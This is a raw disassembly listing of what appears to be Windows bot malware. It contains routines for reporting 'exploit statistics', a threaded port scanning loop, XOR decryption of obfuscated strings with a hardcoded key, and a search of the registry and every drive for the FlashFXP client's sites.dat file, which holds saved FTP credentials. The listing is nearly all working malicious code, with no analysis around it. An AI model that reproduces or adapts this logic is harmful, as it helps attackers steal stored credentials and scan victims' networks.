arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3C0h
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_3C0]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		push	offset aExploitStatist ; "Exploit statistics - "
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		and	[ebp+var_204], 0
		jmp	short loc_4140A4
; ---------------------------------------------------------------------------


loc_414097:				; CODE XREF: sub_414052:loc_41414Aj
		mov	eax, [ebp+var_204]
		inc	eax
		mov	[ebp+var_204], eax


loc_4140A4:				; CODE XREF: sub_414052+43j
		mov	eax, [ebp+var_204]
		imul	eax, 3Ah
		movsx	eax, byte ptr aJeP[eax]	; "†…ØÝ¯"
		test	eax, eax
		jz	loc_41414F
		push	12h
		mov	eax, [ebp+var_204]
		imul	eax, 3Ah
		add	eax, offset aJeP ; "†…ØÝ¯"
		push	eax
		lea	eax, [ebp+var_218]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		lea	eax, [ebp+var_218]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_218]
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416B70	; strcat
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_204]
		imul	eax, 3Ah
		push	dword_41CCFA[eax]
		push	offset dword_41CFA4
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		lea	eax, [ebp+eax+var_200]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 0Ch
		movsx	eax, [ebp+var_225]
		test	eax, eax
		jz	short loc_41414A
		mov	eax, [ebp+var_204]
		imul	eax, 3Ah
		and	dword_41CCFA[eax], 0


loc_41414A:				; CODE XREF: sub_414052+E6j
		jmp	loc_414097
; ---------------------------------------------------------------------------


loc_41414F:				; CODE XREF: sub_414052+64j
		and	[ebp+var_224], 0
		lea	eax, [ebp+var_200]
		push	eax
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40D53F
		pop	ecx
		pop	ecx
		push	[ebp+var_3C0]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		leave
		retn	4
sub_414052	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41417D	proc near		; CODE XREF: sub_40A9CF+BF4p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_414197
		jmp	short locret_4141BF
; ---------------------------------------------------------------------------


loc_414197:				; CODE XREF: sub_41417D+16j
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	offset aListingExploit ; "Listing exploit statistics"
		push	0
		push	[ebp+var_4]
		push	offset sub_414052
		call	sub_4095A4
		add	esp, 10h

locret_4141BF:				; CODE XREF: sub_41417D+18j
		leave
		retn
sub_41417D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4141C1	proc near		; DATA XREF: sub_4142BF+E2o

var_2BC		= dword	ptr -2BCh
var_2B8		= byte ptr -2B8h
var_1B8		= byte ptr -1B8h
var_1B2		= dword	ptr -1B2h
var_1AE		= byte ptr -1AEh
var_16		= byte ptr -16h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2BCh
		push	2B1h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_2BC]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		call	sub_416B64	; clock
		mov	[ebp+var_4], eax
		push	[ebp+var_1B2]
		push	0
		lea	eax, [ebp+var_1B8]
		push	eax
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_41424F
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx
		call	sub_416B64	; clock
		sub	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_1B8]
		push	eax
		lea	eax, [ebp+var_2B8]
		push	eax
		push	offset dword_41D050
		lea	eax, [ebp+var_1AE]
		push	eax
		call	sub_40D53F
		add	esp, 14h
		jmp	short loc_4142AD
; ---------------------------------------------------------------------------


loc_41424F:				; CODE XREF: sub_4141C1+56j
		movsx	eax, [ebp+var_16]
		test	eax, eax
		jnz	short loc_4142AD
		call	sub_416B64	; clock
		sub	eax, [ebp+var_4]
		cmp	eax, [ebp+var_1B2]
		jb	short loc_41428B
		lea	eax, [ebp+var_1B8]
		push	eax
		lea	eax, [ebp+var_2B8]
		push	eax
		push	offset dword_41D018
		lea	eax, [ebp+var_1AE]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		jmp	short loc_4142AD
; ---------------------------------------------------------------------------


loc_41428B:				; CODE XREF: sub_4141C1+A4j
		lea	eax, [ebp+var_1B8]
		push	eax
		lea	eax, [ebp+var_2B8]
		push	eax
		push	offset dword_41CFE8
		lea	eax, [ebp+var_1AE]
		push	eax
		call	sub_40D53F
		add	esp, 10h


loc_4142AD:				; CODE XREF: sub_4141C1+8Cj
					; sub_4141C1+94j ...
		push	[ebp+var_2BC]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		leave
		retn	4
sub_4141C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4142BF	proc near		; CODE XREF: sub_40A9CF+1B5Ep

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		cmp	[ebp+arg_4], 0
		jnz	short loc_4142D0
		jmp	locret_4143AE
; ---------------------------------------------------------------------------


loc_4142D0:				; CODE XREF: sub_4142BF+Aj
		cmp	[ebp+arg_8], 0
		jnz	short loc_4142DD
		mov	[ebp+arg_8], offset a80	; "80"


loc_4142DD:				; CODE XREF: sub_4142BF+15j
		push	[ebp+arg_8]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_4142F8
		cmp	[ebp+var_8], 0FFFFh
		jbe	short loc_4142FD


loc_4142F8:				; CODE XREF: sub_4142BF+2Ej
		jmp	locret_4143AE
; ---------------------------------------------------------------------------


loc_4142FD:				; CODE XREF: sub_4142BF+37j
		cmp	[ebp+arg_C], 0
		jz	short loc_414311
		push	[ebp+arg_C]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_10], eax
		jmp	short loc_414318
; ---------------------------------------------------------------------------


loc_414311:				; CODE XREF: sub_4142BF+42j
		mov	[ebp+var_10], 0EA60h


loc_414318:				; CODE XREF: sub_4142BF+50j
		mov	eax, [ebp+var_10]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_41432D
		cmp	[ebp+var_4], 36EE80h
		jbe	short loc_41432F


loc_41432D:				; CODE XREF: sub_4142BF+63j
		jmp	short locret_4143AE
; ---------------------------------------------------------------------------


loc_41432F:				; CODE XREF: sub_4142BF+6Cj
		push	2B1h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_414345
		jmp	short locret_4143AE
; ---------------------------------------------------------------------------


loc_414345:				; CODE XREF: sub_4142BF+82j
		push	100h
		push	[ebp+arg_4]
		mov	eax, [ebp+var_C]
		add	eax, 4
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	6
		push	[ebp+arg_8]
		mov	eax, [ebp+var_C]
		add	eax, 104h
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_4]
		mov	[eax+10Ah], ecx
		push	[ebp+arg_0]
		mov	eax, [ebp+var_C]
		add	eax, 10Eh
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	offset dword_41D080
		push	0
		push	[ebp+var_C]
		push	offset sub_4141C1
		call	sub_4095A4
		add	esp, 18h

locret_4143AE:				; CODE XREF: sub_4142BF+Cj
					; sub_4142BF:loc_4142F8j ...
		leave
		retn
sub_4142BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4143B0	proc near		; DATA XREF: sub_414600+1D6o

var_2E8		= qword	ptr -2E8h
var_2DC		= dword	ptr -2DCh
var_2D8		= dword	ptr -2D8h
var_2D4		= byte ptr -2D4h
var_2D0		= dword	ptr -2D0h
var_2CC		= byte ptr -2CCh
var_2C4		= dword	ptr -2C4h
var_2C0		= dword	ptr -2C0h
var_2BC		= byte ptr -2BCh
var_1BC		= word ptr -1BCh
var_1BA		= word ptr -1BAh
var_1B8		= dword	ptr -1B8h
var_1B4		= dword	ptr -1B4h
var_1B0		= byte ptr -1B0h
var_18		= byte ptr -18h
var_C		= word ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2DCh
		push	2B3h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		mov	ax, [ebp+var_1BC]
		mov	[ebp+var_C], ax
		push	[ebp+var_1B4]
		call	sub_404D10
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_41440C
		push	[ebp+var_2C0]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_4145FC
; ---------------------------------------------------------------------------


loc_41440C:				; CODE XREF: sub_4143B0+47j
		push	[ebp+var_1B4]
		movzx	eax, [ebp+var_1BA]
		push	eax
		movzx	eax, [ebp+var_1BC]
		push	eax
		lea	eax, [ebp+var_2BC]
		push	eax
		mov	eax, [ebp+var_2C0]
		push	dword ptr [eax]
		push	offset dword_41D0F0
		lea	eax, [ebp+var_1B0]
		push	eax
		call	sub_40D53F
		add	esp, 1Ch
		movsx	eax, [ebp+var_18]
		test	eax, eax
		jnz	short loc_414458
		push	3E8h
		call	ds:dword_41709C	; Sleep


loc_414458:				; CODE XREF: sub_4143B0+9Bj
		call	sub_416B64	; clock
		mov	[ebp+var_2C4], eax
		and	[ebp+var_4], 0


loc_414467:				; CODE XREF: sub_4143B0+13Aj
					; sub_4143B0+1F0j
		mov	eax, [ebp+var_2C0]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_414482
		movzx	eax, [ebp+var_C]
		movzx	ecx, [ebp+var_1BA]
		cmp	eax, ecx
		jle	short loc_414487


loc_414482:				; CODE XREF: sub_4143B0+C1j
		jmp	loc_4145A5
; ---------------------------------------------------------------------------


loc_414487:				; CODE XREF: sub_4143B0+D0j
		push	0Ah
		lea	eax, [ebp+var_2CC]
		push	eax
		movzx	eax, [ebp+var_C]
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		push	[ebp+var_8]
		push	0
		lea	eax, [ebp+var_2CC]
		push	eax
		lea	eax, [ebp+var_2BC]
		push	eax
		call	sub_404FE7
		add	esp, 0Ch
		push	eax
		call	sub_404D4D
		pop	ecx
		pop	ecx
		mov	[ebp+var_2D0], eax
		mov	ax, [ebp+var_C]
		add	ax, 1
		mov	[ebp+var_C], ax
		cmp	[ebp+var_2D0], 0
		jz	short loc_4144EF
		movzx	eax, [ebp+var_C]
		movzx	ecx, [ebp+var_1BA]
		cmp	eax, ecx
		jg	short loc_4144EF
		jmp	loc_414467
; ---------------------------------------------------------------------------


loc_4144EF:				; CODE XREF: sub_4143B0+129j
					; sub_4143B0+138j
		push	[ebp+var_1B8]
		call	ds:dword_41709C	; Sleep
		push	[ebp+var_8]
		call	sub_404E1C
		pop	ecx
		test	eax, eax
		jz	loc_414597


loc_41450C:				; CODE XREF: sub_4143B0+1E2j
		mov	eax, [ebp+var_2C0]
		cmp	dword ptr [eax+4], 0
		jz	short loc_41451A
		jmp	short loc_414597
; ---------------------------------------------------------------------------


loc_41451A:				; CODE XREF: sub_4143B0+166j
		push	[ebp+var_8]
		call	sub_404F24
		pop	ecx
		mov	[ebp+var_2D8], eax
		cmp	[ebp+var_2D8], 0
		jnz	short loc_414534
		jmp	short loc_414597
; ---------------------------------------------------------------------------


loc_414534:				; CODE XREF: sub_4143B0+180j
		lea	eax, [ebp+var_2CC]
		push	eax
		push	[ebp+var_2D8]
		call	sub_4045B2
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		mov	al, [ebp+var_18]
		mov	[ebp+var_2D4], al
		and	[ebp+var_18], 0
		lea	eax, [ebp+var_2CC]
		push	eax
		lea	eax, [ebp+var_2BC]
		push	eax
		push	offset dword_41D0DC
		lea	eax, [ebp+var_1B0]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		mov	al, [ebp+var_2D4]
		mov	[ebp+var_18], al
		push	3E8h
		call	ds:dword_41709C	; Sleep
		jmp	loc_41450C
; ---------------------------------------------------------------------------


loc_414597:				; CODE XREF: sub_4143B0+156j
					; sub_4143B0+168j ...
		push	[ebp+var_8]
		call	sub_404F7D
		pop	ecx
		jmp	loc_414467
; ---------------------------------------------------------------------------


loc_4145A5:				; CODE XREF: sub_4143B0:loc_414482j
		push	[ebp+var_4]
		call	sub_416B64	; clock
		sub	eax, [ebp+var_2C4]
		mov	[ebp+var_2DC], eax
		fild	[ebp+var_2DC]
		fdiv	ds:flt_417270
		push	ecx
		push	ecx
		fstp	[esp+2E8h+var_2E8]
		lea	eax, [ebp+var_2BC]
		push	eax
		push	offset unk_41D0A0
		lea	eax, [ebp+var_1B0]
		push	eax
		call	sub_40D53F
		add	esp, 18h
		push	[ebp+var_8]
		call	sub_404FD0
		pop	ecx
		push	[ebp+var_2C0]
		call	sub_409763
		pop	ecx
		xor	eax, eax

locret_4145FC:				; CODE XREF: sub_4143B0+57j
		leave
		retn	4
sub_4143B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414600	proc near		; CODE XREF: sub_40A9CF+C9Cp

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		cmp	[ebp+arg_4], 0
		jz	short loc_414612
		cmp	[ebp+arg_8], 0
		jnz	short loc_414617


loc_414612:				; CODE XREF: sub_414600+Aj
		jmp	locret_4147E3
; ---------------------------------------------------------------------------


loc_414617:				; CODE XREF: sub_414600+10j
		cmp	[ebp+arg_C], 0
		jnz	short loc_414623
		mov	eax, [ebp+arg_8]
		mov	[ebp+arg_C], eax


loc_414623:				; CODE XREF: sub_414600+1Bj
		push	[ebp+arg_8]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_41463E
		cmp	[ebp+var_8], 0FFFFh
		jbe	short loc_414643


loc_41463E:				; CODE XREF: sub_414600+33j
		jmp	locret_4147E3
; ---------------------------------------------------------------------------


loc_414643:				; CODE XREF: sub_414600+3Cj
		push	[ebp+arg_C]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jz	short loc_41465E
		cmp	[ebp+var_14], 0FFFFh
		jbe	short loc_414663


loc_41465E:				; CODE XREF: sub_414600+53j
		jmp	locret_4147E3
; ---------------------------------------------------------------------------


loc_414663:				; CODE XREF: sub_414600+5Cj
		push	2B3h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_41467C
		jmp	locret_4147E3
; ---------------------------------------------------------------------------


loc_41467C:				; CODE XREF: sub_414600+75j
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_14]
		jbe	short loc_414696
		mov	eax, [ebp+var_14]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_18]
		mov	[ebp+var_8], eax


loc_414696:				; CODE XREF: sub_414600+82j
		cmp	[ebp+arg_10], 0
		jz	short loc_4146AA
		push	[ebp+arg_10]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_1C], eax
		jmp	short loc_4146B1
; ---------------------------------------------------------------------------


loc_4146AA:				; CODE XREF: sub_414600+9Aj
		mov	[ebp+var_1C], 7D0h


loc_4146B1:				; CODE XREF: sub_414600+A8j
		mov	eax, [ebp+var_1C]
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jz	short loc_4146C6
		cmp	[ebp+var_C], 0EA60h
		jbe	short loc_4146CD


loc_4146C6:				; CODE XREF: sub_414600+BBj
		mov	[ebp+var_C], 7D0h


loc_4146CD:				; CODE XREF: sub_414600+C4j
		cmp	[ebp+arg_14], 0
		jz	short loc_4146E1
		push	[ebp+arg_14]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_20], eax
		jmp	short loc_4146E8
; ---------------------------------------------------------------------------


loc_4146E1:				; CODE XREF: sub_414600+D1j
		mov	[ebp+var_20], 100h


loc_4146E8:				; CODE XREF: sub_414600+DFj
		mov	eax, [ebp+var_20]
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jz	short loc_4146FD
		cmp	[ebp+var_10], 200h
		jbe	short loc_414704


loc_4146FD:				; CODE XREF: sub_414600+F2j
		mov	[ebp+var_10], 100h


loc_414704:				; CODE XREF: sub_414600+FBj
		push	100h
		push	[ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_416B58	; strncpy
		add	esp, 0Ch
		mov	eax, [ebp+var_4]
		mov	cx, word ptr [ebp+var_8]
		mov	[eax+104h], cx
		mov	eax, [ebp+var_4]
		mov	cx, word ptr [ebp+var_14]
		mov	[eax+106h], cx
		cmp	[ebp+var_C], 0EA60h
		jbe	short loc_414749
		mov	[ebp+var_24], 0EA60h
		jmp	short loc_41474F
; ---------------------------------------------------------------------------


loc_414749:				; CODE XREF: sub_414600+13Ej
		mov	eax, [ebp+var_C]
		mov	[ebp+var_24], eax


loc_41474F:				; CODE XREF: sub_414600+147j
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_24]
		mov	[eax+108h], ecx
		cmp	[ebp+var_10], 200h
		jbe	short loc_41476D
		mov	[ebp+var_28], 200h
		jmp	short loc_414773
; ---------------------------------------------------------------------------


loc_41476D:				; CODE XREF: sub_414600+162j
		mov	eax, [ebp+var_10]
		mov	[ebp+var_28], eax


loc_414773:				; CODE XREF: sub_414600+16Bj
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_28]
		mov	[eax+10Ch], ecx
		push	1A3h
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 110h
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+10Ch]
		mov	eax, [ebp+var_4]
		movzx	eax, word ptr [eax+106h]
		push	eax
		mov	eax, [ebp+var_4]
		movzx	eax, word ptr [eax+104h]
		push	eax
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		push	offset dword_41D138
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+18Bh]
		neg	eax
		sbb	eax, eax
		inc	eax
		push	eax
		push	[ebp+var_4]
		push	offset sub_4143B0
		call	sub_4095A4
		add	esp, 20h

locret_4147E3:				; CODE XREF: sub_414600:loc_414612j
					; sub_414600:loc_41463Ej ...
		leave
		retn
sub_414600	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4147E5	proc near		; CODE XREF: sub_414A1E+373p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	[ebp+var_8], offset aYa36za48dehfrv ; "yA36zA48dEhfrvghGRg57h5UlDv3"
		lea	eax, [ebp+var_10]
		push	eax
		push	offset a02x	; "%02X"
		push	[ebp+arg_4]
		call	sub_416BA2	; sscanf
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_414816
		xor	eax, eax
		jmp	locret_4148CC
; ---------------------------------------------------------------------------


loc_414816:				; CODE XREF: sub_4147E5+28j
		mov	eax, [ebp+arg_4]
		inc	eax
		inc	eax
		mov	[ebp+arg_4], eax


loc_41481E:				; CODE XREF: sub_4147E5:loc_4148BEj
		lea	eax, [ebp+var_C]
		push	eax
		push	offset a02x	; "%02X"
		push	[ebp+arg_4]
		call	sub_416BA2	; sscanf
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_414842
		xor	eax, eax
		jmp	locret_4148CC
; ---------------------------------------------------------------------------


loc_414842:				; CODE XREF: sub_4147E5+54j
		mov	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+var_C]
		xor	ecx, eax
		mov	[ebp+var_C], ecx
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		cmp	eax, [ebp+var_C]
		jl	short loc_414866
		mov	eax, [ebp+var_C]
		dec	eax
		mov	[ebp+var_C], eax


loc_414866:				; CODE XREF: sub_4147E5+78j
		mov	eax, [ebp+var_C]
		sub	eax, [ebp+var_10]
		mov	ecx, [ebp+arg_0]
		mov	[ecx], al
		mov	eax, [ebp+arg_0]
		inc	eax
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	offset a02x	; "%02X"
		push	[ebp+arg_4]
		call	sub_416BA2	; sscanf
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_414899
		xor	eax, eax
		jmp	short locret_4148CC
; ---------------------------------------------------------------------------


loc_414899:				; CODE XREF: sub_4147E5+AEj
		mov	eax, [ebp+arg_4]
		inc	eax
		inc	eax
		mov	[ebp+arg_4], eax
		mov	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_4148B2
		mov	[ebp+var_8], offset aYa36za48dehfrv ; "yA36zA48dEhfrvghGRg57h5UlDv3"


loc_4148B2:				; CODE XREF: sub_4147E5+C4j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_4148BE
		jmp	short loc_4148C3
; ---------------------------------------------------------------------------


loc_4148BE:				; CODE XREF: sub_4147E5+D5j
		jmp	loc_41481E
; ---------------------------------------------------------------------------


loc_4148C3:				; CODE XREF: sub_4147E5+D7j
		mov	eax, [ebp+arg_0]
		and	byte ptr [eax],	0
		push	1
		pop	eax

locret_4148CC:				; CODE XREF: sub_4147E5+2Cj
					; sub_4147E5+58j ...
		leave
		retn
sub_4147E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4148CE	proc near		; CODE XREF: sub_414A1E+30p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		and	[ebp+var_14], 0
		lea	eax, [ebp+var_14]
		push	eax
		push	20019h
		push	0
		push	offset aSoftwareClasse ; "SOFTWARE\\Classes\\Applications\\FlashFXP."...
		push	80000002h
		call	ds:dword_417008	; RegOpenKeyExA
		mov	[ebp+var_10], eax
		mov	[ebp+var_4], 104h
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		push	0
		push	0
		push	0
		push	[ebp+var_14]
		call	ds:dword_41700C	; RegQueryValueExA
		mov	[ebp+var_10], eax
		push	[ebp+var_14]
		call	ds:dword_417028	; RegCloseKey
		cmp	[ebp+var_10], 0
		jnz	short loc_414971
		push	offset aFlashfxp_exe1 ;	"FlashFXP.exe %1"
		push	4
		push	[ebp+arg_0]
		call	sub_407ACA
		add	esp, 0Ch
		mov	[ebp+var_18], eax
		cmp	[ebp+var_18], 0
		jnz	short loc_414945
		jmp	loc_414A17
; ---------------------------------------------------------------------------


loc_414945:				; CODE XREF: sub_4148CE+70j
		push	offset aSites_dat ; "sites.dat"
		push	[ebp+var_18]
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_18]
		add	eax, 0Fh
		push	eax
		mov	eax, [ebp+var_18]
		add	eax, 9
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		push	1
		pop	eax
		jmp	locret_414A1C
; ---------------------------------------------------------------------------


loc_414971:				; CODE XREF: sub_4148CE+55j
					; sub_4148CE:loc_414A17j
		push	104h
		push	[ebp+arg_0]
		push	offset aProgramfiles ; "ProgramFiles"
		call	ds:dword_417104	; GetEnvironmentVariableA
		push	offset aFlashfxpSites_ ; "\\FlashFXP\\sites.dat"
		push	[ebp+arg_0]
		call	sub_416B70	; strcat
		pop	ecx
		pop	ecx
		push	offset aRb	; "rb"
		push	[ebp+arg_0]
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_4149B0
		push	1
		pop	eax
		jmp	short locret_414A1C
; ---------------------------------------------------------------------------


loc_4149B0:				; CODE XREF: sub_4148CE+DBj
		mov	eax, dword_419398
		mov	[ebp+var_C], eax


loc_4149B8:				; CODE XREF: sub_4148CE+143j
		lea	eax, [ebp+var_C]
		push	eax
		call	ds:dword_4170CC	; GetDriveTypeA
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 5
		jz	short loc_414A02
		cmp	[ebp+var_1C], 2
		jz	short loc_414A02
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aSflashfxpSites ; "%sFlashFXP\\sites.dat"
		push	[ebp+arg_0]
		call	sub_416B5E	; sprintf
		add	esp, 0Ch
		push	offset aRb	; "rb"
		push	[ebp+arg_0]
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 0
		jz	short loc_414A02
		push	1
		pop	eax
		jmp	short locret_414A1C
; ---------------------------------------------------------------------------


loc_414A02:				; CODE XREF: sub_4148CE+FBj
					; sub_4148CE+101j ...
		mov	al, byte ptr [ebp+var_C]
		add	al, 1
		mov	byte ptr [ebp+var_C], al
		movsx	eax, byte ptr [ebp+var_C]
		cmp	eax, 5Ah
		jnz	short loc_4149B8
		xor	eax, eax
		jmp	short locret_414A1C
; ---------------------------------------------------------------------------


loc_414A17:				; CODE XREF: sub_4148CE+72j
		jmp	loc_414971
; ---------------------------------------------------------------------------

locret_414A1C:				; CODE XREF: sub_4148CE+9Ej
					; sub_4148CE+E0j ...
		leave
		retn
sub_4148CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414A1E	proc near		; DATA XREF: sub_414EB0+35o

var_5E0		= dword	ptr -5E0h
var_5DC		= dword	ptr -5DCh
var_5D8		= dword	ptr -5D8h
var_5D4		= dword	ptr -5D4h
var_5D0		= dword	ptr -5D0h
var_5CC		= dword	ptr -5CCh
var_5C8		= dword	ptr -5C8h
var_5C4		= byte ptr -5C4h
var_544		= byte ptr -544h
var_4C4		= byte ptr -4C4h
var_444		= byte ptr -444h
var_3C4		= dword	ptr -3C4h
var_3C0		= dword	ptr -3C0h
var_3BC		= dword	ptr -3BCh
var_3B8		= dword	ptr -3B8h
var_3B4		= byte ptr -3B4h
var_334		= dword	ptr -334h
var_330		= byte ptr -330h
var_32C		= dword	ptr -32Ch
var_328		= byte ptr -328h
var_190		= byte ptr -190h
var_184		= dword	ptr -184h
var_180		= byte ptr -180h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 5E0h
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_32C]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		lea	eax, [ebp+var_180]
		push	eax
		call	sub_4148CE
		pop	ecx
		test	eax, eax
		jnz	short loc_414A6B
		push	[ebp+var_32C]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_414EAC
; ---------------------------------------------------------------------------


loc_414A6B:				; CODE XREF: sub_414A1E+38j
		mov	eax, [ebp+var_32C]
		push	dword ptr [eax]
		push	offset unk_41D308
		lea	eax, [ebp+var_328]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		and	[ebp+var_184], 0
